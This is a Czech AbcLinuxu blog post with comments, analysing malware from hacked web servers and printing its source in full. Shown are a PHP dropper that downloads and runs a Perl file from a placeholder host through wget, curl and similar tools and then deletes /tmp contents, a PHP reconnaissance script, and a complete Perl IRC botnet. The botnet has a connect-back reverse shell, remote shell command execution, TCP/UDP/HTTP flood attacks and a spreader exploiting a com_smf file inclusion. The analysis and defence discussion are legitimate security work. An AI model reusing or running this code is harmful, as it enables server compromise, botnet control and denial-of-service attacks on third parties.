Portál AbcLinuxu, 3. listopadu 2025 19:37
Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle
< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
< ?php
system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
system('rm -rf /tmp/*');
system('rm -rf /tmp/*.txt');
system('rm -rf /tmp/*.txt*');
system('rm -rf /tmp/*.txt.*');
? >
< ?php
echo "31337
";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = $_SERVER['SERVER_ADDR'];
$alb9 = get_current_user();
$os = @PHP_OS;
echo "UNITED #D-Devils By The King Sir|ToTTi
";
echo "os: $os
";
echo "uname -a: $alb
";
echo "uptime: $alb2
";
echo "id: $alb3
";
echo "pwd: $alb4
";
echo "user: $alb9
";
echo "SoftWare: $alb5
";
echo "PHPV: $alb6
";
echo "ServerName: $alb7
";
echo "ServerAddr: $alb8
";
$free = disk_free_space($alb4);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free: ".view_size($free)."
";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
exit;
? >
IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
#!/usr/bin/perl
use IO::Socket;
srand;
my $bPs = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
my $aMaster = 'nix', 'Fugaru';
my $aHost = '*@fbi.ro';
my $sServer = 'ip-adresa-zde';
my $sPort = '6667';
my $sTimeOut = '300';
my $bChan = '#nixsl3';
my $bNickLen = '7';
chomp (my $bNick = `whoami`);
chomp (my $bIrcName = `whoami`);
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';
open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
unless(flock(LOCK, 4 | 2)) { die; }
if(fork) { exit; }
$0 = $bPs;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
package irc;
use IO::Select;
our $irc_socket;
our $irc_select = new IO::Select;
my $cur_nick;
sub raw { print $irc_socket "$_[0]\n"; }
sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}
sub init {
my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}
sub loop {
my $time_out = time;
for(;;) {
my @handles = $irc_select->can_read(1);
if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
next unless(@handles);
foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);
foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;
sub bcmd {
my @line = split(/ /, $_[0]);
my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
#unless($Mask eq $aHost) { return; }
my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }
my $To = shift(@line);
$" = ' '; $line[0] =~ s/://;my $Text = "@line";
if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}
if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
return;
}
if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
if(!fork) {
if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}
exit;
}
return;
}
if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}
sub bsh {
my $to = $_[0];
my $cmd = $_[1];
if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}
sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "elxbot's connectback backdoor\n";
system('/bin/sh');
close(STDIN);
close(STDOUT);
close(STDERR);
}
package spread;
sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;
my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
my $rfi = '';
my $bLoc = 't';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
$cmds =~ s/ /%20/g;
while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();
foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
if($dup eq $host) { next; } $dup = "$host";
$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}
sub google() {
my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);
my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');
my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";
my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
my $page = http_query($query);
while ($page =~ m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}
sub http_query {
my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';
$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;
if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
package flood;
use POSIX;
use Socket;
our $s_time;
sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my @SOCKET;
while ($_[3] > (time - $s_time)) {
for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}
for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}
for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}
sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);
while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}
sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
$s_time = time;
my $querys = 0;
while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}
while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Tiskni
Sdílej:
Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.
A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).
Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.
Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji
). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.
True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi 
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.